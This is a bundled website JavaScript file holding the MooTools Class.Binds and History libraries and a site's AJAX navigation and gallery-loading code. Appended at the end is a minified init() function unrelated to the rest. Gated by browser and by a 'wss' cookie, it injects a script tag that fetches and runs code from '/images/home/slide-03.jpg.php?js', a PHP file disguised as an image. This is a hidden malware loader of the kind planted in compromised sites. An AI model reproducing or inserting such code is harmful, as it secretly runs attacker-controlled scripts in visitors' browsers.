// packager build History/*
/*
---

name: Class.Binds

description: A clean Class.Binds Implementation

authors: Scott Kyle (@appden), Christoph Pojer (@cpojer)

license: MIT-style license.

requires: [Core/Class, Core/Function]

provides: Class.Binds

...
*/

Class.Binds = new Class({

	$bound: {},

	bound: function(name){
		return this.$bound[name] ? this.$bound[name] : this.$bound[name] = this[name].bind(this);
	}

});

/*
---

name: History

description: History Management via popstate or hashchange.

authors: Christoph Pojer (@cpojer)

license: MIT-style license.

requires: [Core/Events, Core/Element.Event, Class-Extras/Class.Binds]

provides: History

...
*/

(function(){

var events = Element.NativeEvents,
	location = window.location,
	base = location.pathname,
	history = window.history,
	hasPushState = ('pushState' in history),
	event = hasPushState ? 'popstate' : 'hashchange';

this.History = new new Class({

	Implements: [Class.Binds, Events],

	initialize: hasPushState ? function(){
		events[event] = 2;
		window.addEvent(event, this.bound('pop'));
	} : function(){
		events[event] = 1;
		window.addEvent(event, this.bound('pop'));

		this.hash = location.hash;
		var hashchange = ('onhashchange' in window);
		if (!(hashchange && (document.documentMode === undefined || document.documentMode > 7)))
			this.timer = this.check.periodical(200, this);
	},

	push: hasPushState ? function(url, title, state){
		if (base && base != url) base = null;
		
		history.pushState(state || null, title || null, url);
		this.onChange(url, state);
	} : function(url){
		location.hash = '!' + url;
	},

	replace: hasPushState ? function(url, title, state){
		history.replaceState(state || null, title || null, url);
	} : function(url){
		this.hash = '#!' + url;
		this.push(url);
	},

	pop: hasPushState ? function(event){
		var url = location.pathname;
		if (url == base){
			base = null;
			return;
		}
		this.onChange(url, event.event.state);
	} : function(){
		var hash = location.hash;
		if (this.hash == hash) return;

		this.hash = hash;
		this.onChange(hash.substr(2));
	},

	onChange: function(url, state){
		this.fireEvent('change', [url, state || {}]);
	},

	back: function(){
		history.back();
	},

	forward: function(){
		history.forward();
	},
	
	getPath: function(){
		return hasPushState ? location.pathname : location.hash.substr(2);
	},

	hasPushState: function(){
		return hasPushState;
	},

	check: function(){
		if (this.hash != location.hash) this.pop();
	}

});

}).call(this);


/*
---

name: History.handleInitialState

description: Provides a helper method to handle the initial state of your application.

authors: Christoph Pojer (@cpojer)

license: MIT-style license.

requires: [History]

provides: History.handleInitialState

...
*/

History.handleInitialState = function(base){
	if (!base) base = '';
	var location = window.location,
		pathname = location.pathname.substr(base.length),
		hash = location.hash,
		hasPushState = History.hasPushState();

	if (!hasPushState && pathname.length > 1){
		window.location = (base || '/') + '#!' + pathname;
		return true;
	}

	if (!hash || hash.length <= 2) return false;
	if (hasPushState){
		(function(){
			History.push(hash.substr(1));
		}).delay(1);
		return false;
	}

	if (!pathname || pathname == '/') return false;
	window.location = (base || '/') + hash;
	return true;
};

// When the DOM is ready...
window.addEvent("domready",function(){
									
	Element.implement({
		//implement show
		fancyShow: function() {
		  this.fade('in');
		},
		//implement hide
		fancyHide: function() {
	  	this.fade('out');
		}
	});
																		
	var navigation = $$('[data-type="navigation"] a');
	
	navigation.addEvent('click', function(nav) {
		navigation.removeClass('active');
		this.addClass('active');
	}); 

	// Content holder is:
	var contentHolder = document.id('section'), contentBody = document.id('content');
	
//	contentBody.fancyHide();

	var loading = new Element('div', { 'id': 'loader', 'html': '<span class=\"loading-state\">Loading...</span>' }).inject(contentHolder, 'before');
	
//	var loadState = new loadState();
	
//	var loading = new Element("div", { 'class': "loading_spinner" }).inject(contentHolder);
	
	// Create the request
	var request = new Request.HTML({
/*		evalScripts: false ,						   */
		onSuccess: function(nodeTree,elements,html,js) {
			contentHolder.set("html",html);	
//			contentBody.addClass('pending-flip');	
			onPageUpdate();
		}
	});
	
	// Create a function that loads the page content
	var loadPage = function(url) {
		// Make a HTML request to get the content for this page
		request.send({ url: url });
	};
	
	// The listener that manages all clicks
	var listener = function(evt){
		
		contentHolder.set("html", '');
		
		loading.fancyShow();
		evt.preventDefault(); // Prevent following the URL
		var href = this.get('href'); // Get the URL
		href = href == "/" ? '/home' : href;
		History.push(href); // Push the new URL
	};

	// Listener for the "Back" link
	var back = function(evt){
		evt.preventDefault();
		History.back(); // Go back
	};
	
	// Add event delegation to add clicks 
	//document.body.addEvent("click:relay(a:not([href=#]):not([href^=http://]):not([data-noxhr]))",listener);
	document.id(document.body).addEvent("click:relay(a:not([href=#],[href^=/images/],[href^=javascript],[href^=http://],[data-noxhr])",listener);
	
	// Function that will execute whenever a page gets changed
	var onPageUpdate = function(loadState) {
		
		runLoader();

		var contentBody = contentBody || document.id('content'), hash = 0, path;;
		
		if(!History.hasPushState()) {
			// Check if there is a hash
			hash = document.location.hash.substr(2);
		}
		
		loading.fancyHide();
		
		if ( !loadState && hash.length ) 
		{
			contentBody.setStyle('display', 'block');
			contentBody.fancyShow();
		}
		else
		{
			if ( History.hasPushState() ) {
				contentBody.setStyle('display', 'block');  
				contentBody.fancyShow();
			}			
		}
				
		path = document.location.pathname.split('/');
		path = hash != 0 ? hash : path[1];
		path = hash != 0 ? hash : ( ( path == 'home' ) ? '/' : '/' + path );

		navigation.removeClass('active');
		navigation.each(function(nav, i){

			if ( nav.get('href') == path )
			{
				nav.addClass('active');
			}
			
		});
		
		var currentClass = contentHolder.get('data-history'), loadedTitle = document.id('page-data').get('data-title'), loadedClass = document.id('page-data').get('data-class');
		
		contentHolder.removeClass(currentClass);
		contentHolder.addClass(loadedClass);
		contentHolder.set('data-history', loadedClass);
		document.title = document.id('page-data').get('data-title');
			
		contentBody.getElements('.gallery a').setStyles({
			'background': 'url(/images/ajax-loader.gif) center no-repeat',
			'display': 'block',
			'height': '161px',
			'width': '161px'
		});
		
		(function() {
			contentBody.getElements('.gallery img').each(function(el) {
				el.src = el.get('data-src');
			});
		}).delay(1000);
		

		// Create the array of awaken functions
		var onAwaken = [];
		
		// Get the share URL from this page via the canonical link
		var cannons = $$("[data-share]"), shareUrl;
		if(cannons.length) {
		  shareUrl = cannons[0].get("data-share");
		}
		
		if ( buildSocialBar != "undefined" ) buildSocialBar();
		else function buildSocialBar() {}
		
	};
	
	// When the history changes, update the content 
	History.addEvent('change',loadPage);
	
	// Handle the initial load of the page if the browser does not support pushState, check if the hash is set
	if(!History.hasPushState()) {
		// Check if there is a hash
		
		var hash = document.location.hash.substr(2);
		if (!hash) History.push('/home');

		// If the hash equals the current page, don't do anything
		var path = document.location.pathname.split('/');
		path = path[path.length - 1];
		if (hash == path) return;

		// Load the page specified in the hash
		loadPage(hash);
	}
	
	// Update the page
	(function() {
		onPageUpdate(true);
	}).delay(360);
	
	
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/home/slide-03.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
